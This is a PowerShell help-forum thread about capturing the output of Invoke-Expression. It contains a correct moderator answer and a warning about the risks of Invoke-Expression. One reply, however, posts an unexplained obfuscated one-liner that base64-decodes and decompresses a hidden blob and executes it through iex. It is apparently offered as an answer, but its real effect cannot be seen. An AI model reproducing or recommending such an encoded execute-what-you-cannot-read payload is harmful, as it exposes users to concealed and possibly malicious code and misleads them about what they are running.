Capture output of invoke-expression

Welcome Forums General PowerShell Q&A Capture output of invoke-expression

This topic contains 3 replies, has 3 voices, and was last updated by

 
Participant
2 years ago.

  • Author
    Posts
  • #54526

    Participant
    Points: 0
    Rank: Member

    hopefully a simple one,

    tiny script

    "command1.txt = Get-aduser mark.prior"

     
    	$run = Get-Content c:\TEMP\command1.txt
    		
    		Invoke-Expression $run
    
    
     

    so this runs fine and produces an output

    DistinguishedName : CN=Mark Prior,OU=Users,OU=Newcastle,OU=United Kingdom,OU=Europe,DC=global,DC=blah,DC=com
    Enabled : True
    GivenName : Mark
    Name : Mark Prior
    ObjectClass : user
    ObjectGUID : fb2a6922-dc........................
    SamAccountName : mark.prior
    SID : S-1-5-21-5159........................
    Surname : Prior
    UserPrincipalName : mark.prior@blah.com

    which is just dandy, however how do i capture that output in a string?

  • #54532

    Moderator
    Points: 0
    Team Member
    Rank: Member

    Just assign whatever comes back from Invoke-Expression to a variable.

    $run = Get-Content c:\TEMP\command1.txt
    		
    $result = Invoke-Expression $run
    

    You might want to read up on the dangers of using Invoke-Expression.

    Invoke-Expression considered harmful

    Invoke-Expression is Evil

    Why Invoke-Expression is Evil

  • #54545

    Participant
    Points: 21
    Rank: Member
    
    $(iex(New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream]` [Convert]::FromBase64String("hVBdSwMxEHzPr1juqYUjtGqtLRxC/QDxmxOlHH3IJVt7mMtCdmO9f2/qs1CGeZ` 
    rZmWGbb+rcpom49Wilo6ANM/atHzbL5QMZNyrqgQV7/dEFR3vWtxR7LuEdI2d7daInB5RwlbykiFXAJNH4El5S6zt7j` 8MbfWGo2vnczOzsfLo4PcPJxaIYq+a/aP2IzOYTV/STJ9Q72o9UcU0wUIIcGJwfQGJiAeM9WHL4J22zAhRAdghdEIwB` 5bIoVZF5rGeVRChwrlvf1E/Pxw/uLIXsfk3Ih5+psfoF"),[IO.Compression.CompressionMode]::Decompress)`
     ),[Text.Encoding]::ASCII)).ReadToEnd())
    
    
  • #54645

    Participant
    Points: 0
    Rank: Member

    Many Thanks to you both

The topic ‘Capture output of invoke-expression’ is closed to new replies.